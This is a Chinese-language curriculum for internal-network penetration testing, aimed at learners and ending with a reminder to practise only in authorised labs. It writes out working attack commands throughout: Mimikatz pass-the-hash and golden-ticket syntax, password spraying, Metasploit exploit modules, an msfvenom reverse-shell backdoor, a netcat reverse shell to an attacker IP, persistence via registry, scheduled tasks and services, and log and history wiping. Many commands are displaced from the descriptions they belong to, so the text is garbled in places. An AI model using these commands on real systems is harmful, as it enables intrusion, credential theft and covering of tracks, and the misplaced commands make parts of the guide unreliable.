内网渗透是渗透测试的高级阶段,核心目标是 “突破边界后,横向移动、纵向提权、控制内网核心资产”,需掌握 “网络基础、工具使用、漏洞利用、权限维持、应急响应” 五大模块,以下是按 “基础→进阶→实战” 分层的详细知识点:
一、内网渗透前置基础(必须吃透)
内网渗透依赖扎实的底层知识,否则后续漏洞利用、横向移动会 “知其然不知其所以然”:
1. 计算机网络基础(内网核心)
| 知识点 | 学习重点 | 实战应用场景 |
|---|---|---|
| TCP/IP 协议栈 | IP 地址分类(A/B/C 类)、子网划分、子网掩码、网关、DNS 解析流程 | 内网网段探测(如 192.168.1.0/24)、判断目标主机是否在同一网段、绕过 DNS 劫持 |
| 内网常见协议 | ARP(地址解析)、ICMP(ping)、SMB(文件共享,445 端口)、RPC(远程调用,135 端口)、LDAP(域控协议,389 端口)、Kerberos(域认证,88 端口) | SMB 弱口令爆破、RPC 服务枚举、域控信息收集、ARP 欺骗嗅探 |
| 网络拓扑与设备 | 交换机(二层转发)、路由器(三层转发)、防火墙(ACL 规则)、VPN(远程接入) | 分析内网出口、判断防火墙策略、利用 VPN 漏洞突破边界 |
| 端口与服务映射 | 常用端口对应服务(如 3389-RDP、5900-VNC、3306-MySQL)、端口转发(本地 / 远程) | 识别内网开放服务、通过端口转发访问内网不可直接访问的资产(如内网数据库) |
2. 操作系统基础(Windows/Linux 双平台)
| 知识点 | 学习重点 | 实战应用场景 |
|---|---|---|
| Windows 核心 | 注册表(HKLM/HKCU)、组策略(GPO)、活动目录(AD)、域控(DC)、SAM 文件、NTLM 哈希、Kerberos 票据 | 域内信息收集、NTLM 哈希破解、票据传递攻击、GPO 漏洞利用 |
| Linux 核心 | 权限模型(UGO)、SUID/SGID 文件、/etc/passwd/shadow、sudo 配置、SSH 密钥、PAM 认证 | Linux 提权(SUID 文件利用)、SSH 密钥窃取、sudo 权限滥用 |
| 进程与服务管理 | 查看进程(tasklist/ps)、启动服务(net start/systemctl)、计划任务(schtasks/crontab) | 查找内网敏感进程(如数据库服务)、植入计划任务维持权限 |
| 文件系统与权限 | Windows 文件共享(C、IPC” role=”presentation”>、IPC、IPC)、Linux 文件权限(chmod)、符号链接 | 访问内网共享文件、窃取敏感数据(如配置文件、密码文档) |
3. 编程语言与脚本基础(自动化必备)
| 知识点 | 学习重点 | 实战应用场景 |
|---|---|---|
| Python(核心) | 基础语法、socket 编程、requests 库(HTTP 请求)、paramiko 库(SSH)、subprocess 库(系统命令) | 编写扫描脚本(内网存活探测)、自动化爆破工具、反弹 shell 脚本 |
| PowerShell(Windows 内网) | 基础命令、Invoke-Command、Invoke-Mimikatz、绕过执行策略(Unblock-File) | 域内信息收集、内存密码抓取、无文件攻击(规避杀毒软件) |
| Bash(Linux 内网) | 管道命令、awk/sed/grep、shell 脚本编写 | Linux 内网信息收集、自动化提权检测(如 linpeas.sh 脚本二次开发) |
| 批处理 / Shell 脚本 | Windows 批处理(.bat)、Linux Shell 脚本(.sh) | 批量执行命令、自动化部署后门、日志清理 |
二、内网渗透核心技术模块(进阶重点)
模块 1:内网信息收集(渗透的 “侦察阶段”)
核心目标:摸清内网 “资产分布、网络拓扑、账号密码、漏洞情况”,为后续攻击铺路。
1. 主机存活探测
技术点:
ICMP 扫描(ping 扫射):(Windows)、
ping -n 1 192.168.1.1-254(Linux)ARP 扫描(内网优先,无路由限制):
fping -g 192.168.1.0/24(Kali)、
arp-scan -l(Nmap 无端口扫描,仅存活探测)无 ping 扫描(规避防火墙禁 ping):
nmap -sn 192.168.1.0/24
nmap -sn -Pn 192.168.1.0/24
工具:Nmap、arp-scan、fping、Masscan(高速扫描)
2. 端口与服务探测
技术点:
常用端口扫描:全端口扫描:
nmap -p 21,22,80,445,3389 192.168.1.0/24(扫描所有 65535 个端口)服务版本识别:
nmap -p- 192.168.1.100(判断服务版本,如 SMB 2.0、SSH 7.4)操作系统识别:
nmap -sV 192.168.1.100(通过 TTL、端口特征判断系统)
nmap -O 192.168.1.100
工具:Nmap、Masscan、Zmap(超高速端口扫描)
3. 敏感信息收集
(1)Windows 内网(重点):
系统信息:(系统版本、补丁情况)、
systeminfo(网卡信息、DNS)账号信息:
ipconfig /all(本地用户)、
net user(域管理员组)、
net group "Domain Admins" /domain(当前登录用户)共享资源:
query user(本地共享)、
net share(目标主机共享)网络连接:
net view \192.168.1.100(查看端口连接、进程 PID)、
netstat -ano(路由表)工具:SharpHound(域内信息收集,生成 BloodHound 图谱)、WinRM(远程命令执行)、PsExec(远程进程执行)
route print
(2)Linux 内网:
系统信息:(内核版本)、
uname -a(系统版本)、
cat /etc/issue(用户列表)网络信息:
cat /etc/passwd(网卡信息)、
ip addr(监听端口)、
netstat -tulpn(路由表)敏感文件:
route -n(密码哈希)、
cat /etc/shadow(SSH 公钥)、
cat ~/.ssh/authorized_keys(登录日志)工具:linpeas.sh(Linux 信息收集脚本)、pspy(无权限监控进程)
cat /var/log/auth.log
(3)域环境信息收集(内网核心场景):
域控探测:(通过 DNS 查找域控)域内用户 / 组:
nslookup -type=SRV _ldap._tcp.dc._msdcs.xxx.com(域用户)、
dsquery user(域管组)域信任关系:
dsquery group -name "Domain Admins"(PowerShell AD 模块)工具:BloodHound(可视化域内信任关系、权限路径)、ADExplorer(AD 数据库浏览)
Get-ADTrust -Filter *
4. 凭证收集(内网渗透关键)
技术点:
密码抓取:Mimikatz(Windows 内存抓取 NTLM 哈希、明文密码)、LaZagne(多平台密码抓取,支持浏览器、邮箱)哈希获取:Windows(SAM 文件 + SYSTEM 文件离线破解)、Linux(/etc/shadow 文件破解)密钥窃取:SSH 私钥(~/.ssh/id_rsa)、RDP 凭证(Windows Credential Manager)嗅探抓取:ARP 欺骗(ettercap、arpspoof)+ 流量嗅探(tcpdump、Wireshark),抓取 SMB、Telnet 明文凭证
工具:Mimikatz、LaZagne、CME(CrackMapExec,域内凭证爆破 / 验证)、Hashcat(哈希破解)
模块 2:内网横向移动(突破单台主机,控制内网多资产)
核心目标:利用已控制的主机,通过 “凭证复用、漏洞利用、协议攻击” 等方式,拿下内网其他主机。
1. 凭证复用攻击(最常用,无漏洞也能打)
技术点:
Pass-the-Hash(哈希传递):无需破解 NTLM 哈希,直接用哈希登录目标主机(支持 SMB、RDP、WinRM)
工具:Mimikatz()、CME(
sekurlsa::pth /user:admin /ntlm:xxx /domain:xxx)
crackmapexec smb 192.168.1.0/24 -u admin -H xxx
Pass-the-Ticket(票据传递):利用 Kerberos 票据(TGT/TGS)登录域内主机,支持黄金票据(伪造 TGT)、白银票据(伪造 TGS)
工具:Mimikatz()
kerberos::golden /domain:xxx.com /sid:xxx /krbtgt:xxx /user:admin /ptt
凭证喷射(Password Spraying):用通用弱密码(如)批量测试域内用户,避免账户锁定
Password123!
工具:CME()
crackmapexec smb 192.168.1.0/24 -u users.txt -p "Password123!" --no-bruteforce
2. 协议漏洞利用(针对内网常见服务)
技术点:
SMB 协议攻击:
漏洞:MS17-010(永恒之蓝,SMBv1 漏洞,远程代码执行)、CVE-2020-0796(SMBv3 远程代码执行)工具:Metasploit()、Impacket(smbexec.py)
exploit/windows/smb/ms17_010_eternalblue
RPC 协议攻击:
漏洞:MS08-067(RPC 远程代码执行,Windows XP/2003 经典漏洞)工具:Metasploit()
exploit/windows/smb/ms08_067_netapi
LDAP 协议攻击:
漏洞:LDAP 注入、未授权访问(可读取域内敏感信息)工具:ldapsearch()
ldapsearch -h 192.168.1.10 -b "DC=xxx,DC=com" -s sub
RDP 协议攻击:
漏洞:CVE-2019-0708(BlueKeep,RDP 远程代码执行)、弱口令爆破工具:Hydra()、Metasploit(
hydra -L users.txt -P pass.txt rdp://192.168.1.100)
exploit/windows/rdp/cve_2019_0708_bluekeep_rce
3. 远程控制工具横向(合法凭证下)
技术点:
Windows:PsExec()、WinRM(
psexec \192.168.1.100 -u admin -p pass cmd.exe)Linux:SSH(
Invoke-Command -ComputerName 192.168.1.100 -Credential $cred -ScriptBlock {ipconfig})、SSH 密钥登录(上传公钥到目标~/.ssh/authorized_keys)工具:Impacket(psexec.py、wmiexec.py)、Ansible(批量管理,合法场景)
ssh admin@192.168.1.101 "ifconfig"
4. 移动策略(实战思路)
从 “低权限主机” 到 “高价值主机”:先拿下普通办公机,再渗透数据库服务器、文件服务器,最后攻击域控。利用 “信任关系”:域内主机默认信任域控,拿下一台域内主机后,通过域凭证复用攻击域控。
模块 3:内网纵向提权(从普通用户到管理员 /root)
核心目标:获取单台主机的最高权限,以便安装后门、窃取敏感数据、进一步横向移动。
1. Windows 提权(重点场景)
(1)漏洞提权(基于系统补丁缺失):
经典漏洞:MS15-051(内核提权)、MS16-032(服务提权)、CVE-2021-1732(Windows 10 提权)工具:Metasploit()、Empire(PowerShell 提权模块)学习重点:如何用
exploit/windows/local/ms16_032_secondary_logon_handle_privesc查看补丁情况,匹配对应的提权漏洞。
systeminfo
(2)配置错误提权:
Scheduled Tasks(计划任务):低权限用户可修改高权限计划任务的执行脚本,触发提权。Unquoted Service Paths(服务路径未加引号):服务路径含空格且未加引号,低权限用户可植入恶意程序。Weak Service Permissions(服务权限过宽):低权限用户可修改服务的可执行文件,重启服务触发提权。工具:AccessChk(检查服务权限)、PowerUp(PowerShell 提权脚本,自动检测配置错误)
(3)凭证提权:
抓取管理员明文密码(Mimikatz),切换到管理员账户()。破解本地用户哈希(Hashcat),获取管理员密码。
runas /user:admin cmd.exe
2. Linux 提权(核心场景)
(1)内核漏洞提权:
经典漏洞:Dirty COW(CVE-2016-5195)、Sudo Baron Samedit(CVE-2021-3156)、Polkit(CVE-2021-4034)工具:searchsploit(查找对应漏洞 EXP,)、exploit-db(下载 EXP)学习重点:如何用
searchsploit Linux Kernel 4.4.0查看内核版本,匹配 EXP。
uname -a
(2)配置错误提权:
SUID/SGID 文件:查找具有 SUID 权限的危险命令(),如
find / -perm -4000 2>/dev/null、
find、
cp,利用其执行高权限命令。Sudo 配置错误:
bash查看低权限用户可执行的 sudo 命令,如
sudo -l可通过
sudo find参数执行 bash(
-exec)。敏感文件泄露:
sudo find / -exec bash -p ;(sudo 配置)、
/etc/sudoers(备份的密码哈希)。工具:linpeas.sh(自动检测 Linux 提权漏洞)、GTFOBins(查询 SUID 命令提权方法)
/var/backups/shadow.bak
(3)数据库提权:
MySQL UDF 提权(导入恶意 UDF 库,执行系统命令)、PostgreSQL COPY 命令提权。工具:sqlmap()、手动编译 UDF 库。
sqlmap -u "http://xxx" --os-shell
3. 提权核心思维
“先信息收集,后提权”:用 linpeas/PowerUp 等脚本自动检测提权点,避免盲目尝试漏洞。优先 “配置错误提权”:漏洞提权依赖系统未打补丁,而配置错误(如 SUID、sudo 配置)在真实环境中更常见。
模块 4:内网权限维持(长期控制目标)
核心目标:确保拿下主机 / 内网后,即使管理员发现并修复部分漏洞,仍能重新控制。
1. 后门植入(Windows)
技术点:
持久化脚本:添加开机启动项()、创建计划任务(
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v backdoor /t REG_SZ /d "C:ackdoor.exe")。恶意服务:创建 Windows 服务(
schtasks /create /tn backdoor /tr "C:ackdoor.exe" /sc onstart /ru system),开机自动启动。隐藏后门:利用
sc create backdoor binPath= "C:ackdoor.exe" start= auto生成免杀后门(
msfvenom),避免被杀毒软件查杀。工具:Meterpreter(
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=4444 -f exe -o backdoor.exe模块创建持久化后门)、Cobalt Strike(生成免杀 Payload)
persistence
2. 后门植入(Linux)
技术点:
开机启动:(添加
/etc/rc.local)、
/root/backdoor.sh &(用户登录时执行)。SSH 后门:修改
~/.bashrc(允许 root 登录、添加隐藏用户)、上传 SSH 公钥到
/etc/ssh/sshd_config。隐藏进程:用
~/.ssh/authorized_keys后台运行后门(
nohup)、修改进程名称(避免被
nohup ./backdoor &发现)。工具:Meterpreter(
ps)、Netcat(
run persistence -U -i 5 -p 4444 -r 攻击机IP)
nc -e /bin/bash 攻击机IP 4444
3. 域环境权限维持
技术点:
黄金票据 / 白银票据:伪造 Kerberos 票据,即使域管理员修改密码,仍能登录域内主机。域内隐藏用户:创建隐藏用户(,用户名后加 $,默认不显示)。GPO 持久化:修改域组策略,推送后门脚本到所有域内主机。工具:Mimikatz(生成黄金票据)、BloodHound(查找域内持久化路径)
net user admin$ 123456 /add
4. 隧道技术(突破内网限制)
核心目标:当内网主机无法直接访问外网时,通过 “隧道” 将流量转发到攻击机,维持控制。
技术点:
HTTP 隧道:reGeorg(利用 Web 服务器建立 HTTP 隧道)、tunna(HTTP/HTTPS 隧道)。SOCKS 隧道:Proxychains(代理链,配合 SSH/DNS 隧道)、Metasploit(模块创建 SOCKS 代理)。DNS 隧道:iodine(将流量封装在 DNS 请求中,突破防火墙限制)、dnscat2(DNS 隧道工具)。实战场景:内网主机 A 可访问外网,主机 B 仅能访问 A,通过在 A 上建立 SOCKS 隧道,攻击机可通过 A 访问 B。
socks4a
模块 5:内网数据窃取与销毁(渗透收尾)
核心目标:获取内网核心数据(如数据库、商业机密),并清理攻击痕迹(合法测试需遵守规则)。
1. 数据窃取
技术点:
文件下载:Windows()、Linux(
copy \192.168.1.100C$datasecret.xlsx C: mp)。数据库导出:MySQL(
scp admin@192.168.1.101:/home/admin/secret.txt /tmp)、SQL Server(
mysqldump -u root -p database > backup.sql)。敏感数据识别:查找文档(
bcp "select * from table" queryout C:data.csv -S 192.168.1.102 -U sa -P pass -c)、查找包含 “password” 的文件(
find / -name "*.docx" -o -name "*.xlsx" 2>/dev/null)。工具:Empire(
grep -r "password" /etc/ 2>/dev/null命令下载文件)、Cobalt Strike(
download功能)。
upload/download
2. 痕迹清理(合法测试必须执行)
技术点:
Windows:清理事件日志()、删除命令历史(
wevtutil cl System && wevtutil cl Security && wevtutil cl Application)、删除后门文件。Linux:清理命令历史(
del /f /s /q %userprofile%AppDataRoamingMicrosoftWindowsPowerShellPSReadLineConsoleHost_history.txt)、删除日志文件(
history -c && > ~/.bash_history)、清理 SSH 登录记录(
rm -rf /var/log/auth.log /var/log/syslog)。工具:Clear-EventLog(PowerShell 清理日志)、logcleaner.sh(Linux 日志清理脚本)。
sed -i '/攻击机IP/d' /var/log/auth.log
3. 注意事项
合法渗透测试中,需在授权范围内窃取数据,禁止泄露客户敏感信息。痕迹清理是必要步骤,避免被管理员追溯攻击来源,引发法律风险。
模块 6:内网防御绕过(应对安全设备)
核心目标:突破内网防火墙、杀毒软件、IDS/IPS 等安全设备的拦截。
1. 杀毒软件(AV)绕过
技术点:
免杀技术:Payload 加密(用 Veil-Evasion 生成免杀 Payload)、代码混淆(PowerShell 脚本混淆,避免特征码检测)、加壳(UPX 壳、Themida 壳)。无文件攻击:通过 PowerShell、WMI、MSHTA 等方式执行恶意代码,不落地文件(规避文件查杀)。工具:Cobalt Strike(生成免杀 Beacon)、Veil-Evasion、Invoke-Obfuscation(PowerShell 混淆)。
2. 防火墙绕过
技术点:
端口转发:本地端口转发()、远程端口转发(
ssh -L 8080:内网IP:80 跳板机IP)。协议封装:将攻击流量封装在 HTTP/HTTPS/DNS 协议中(如 DNS 隧道),绕过防火墙端口限制。工具:Proxychains、rinetd(端口转发工具)、iodine(DNS 隧道)。
ssh -R 8080:内网IP:80 攻击机IP
3. IDS/IPS 绕过
技术点:
流量混淆:修改 Payload 特征码(如替换字符串、添加垃圾代码)、分段传输攻击流量。合法协议伪装:将攻击流量伪装成 HTTP 正常请求(如 POST 数据中隐藏 Payload)。工具:Burp Suite(修改 HTTP 请求包)、Metasploit(模块编码 Payload)。
encode
三、内网渗透实战工具集(按模块分类)
| 模块 | 核心工具 |
|---|---|
| 信息收集 | Nmap、Masscan、arp-scan、SharpHound、BloodHound、linpeas.sh、PowerUp、CME |
| 凭证收集与破解 | Mimikatz、LaZagne、Hashcat、John the Ripper、CME、Hydra、Medusa |
| 横向移动 | Impacket(psexec.py、wmiexec.py)、Mimikatz(票据传递)、Metasploit、Cobalt Strike |
| 纵向提权 | Metasploit(提权模块)、searchsploit、exploit-db、linpeas.sh、PowerUp、GTFOBins |
| 权限维持与隧道 | Meterpreter、Cobalt Strike、reGeorg、tunna、iodine、Proxychains、Netcat |
| 防御绕过 | Veil-Evasion、Invoke-Obfuscation、UPX、Burp Suite、Cobalt Strike(免杀) |
四、内网渗透学习路径(从入门到实战)
阶段 1:基础铺垫(1-2 个月)
掌握计算机网络基础(TCP/IP、内网协议)、Windows/Linux 系统基础。熟练使用 Nmap、Hydra、Mimikatz 等基础工具。完成单个主机的渗透(如 Metasploitable 2、VulnHub 靶机),掌握 “信息收集→漏洞利用→提权” 流程。
阶段 2:内网基础技能(2-3 个月)
学习内网信息收集(域环境、共享资源、凭证收集)。掌握横向移动技术(哈希传递、票据传递、SMB/RDP 攻击)。实战练习:搭建小型内网环境(1 台域控 + 2 台普通主机),完成横向移动。
阶段 3:进阶技能(3-4 个月)
深入学习提权技术(Windows/Linux 内核漏洞、配置错误提权)。掌握权限维持与隧道技术(后门植入、DNS/HTTP 隧道)。学习防御绕过(免杀、防火墙绕过)。实战练习:VulnHub 内网靶场(如 DC-2、DC-3 域环境靶机)、HTB(Hack The Box)内网模块。
阶段 4:实战综合(长期)
搭建真实模拟内网环境(域控 + 文件服务器 + 数据库服务器 + 办公机)。完成 “边界突破→内网探测→横向移动→域控拿下→权限维持→数据窃取→痕迹清理” 完整流程。学习应急响应(站在防御方角度,理解攻击痕迹,优化渗透技巧)。
五、学习注意事项
合法合规是底线:所有练习必须在授权环境中进行(如自己搭建的靶机、VulnHub/HTB 等合法靶场),禁止未经授权渗透真实网络,否则面临法律责任。重视基础:内网渗透依赖网络、系统基础,基础不牢会导致后续学习困难(如看不懂协议交互、不会分析漏洞原理)。多动手实战:内网渗透是 “实战型技术”,仅看书 / 视频没用,需反复搭建环境、测试工具、验证漏洞。关注行业动态:内网漏洞、防御技术不断更新(如新型 Kerberos 漏洞、AI 杀毒软件),需通过安全博客(如 FreeBuf、安全客)、漏洞平台(如 CVE、exploit-db)保持学习。培养渗透思维:内网渗透不是 “暴力尝试漏洞”,而是 “信息收集→分析路径→精准攻击”,学会用 BloodHound 等工具分析权限路径,用最小代价拿下核心资产。
通过以上知识点的系统学习和实战练习,可逐步掌握内网渗透的核心技能,具备应对中小型内网环境的渗透测试能力。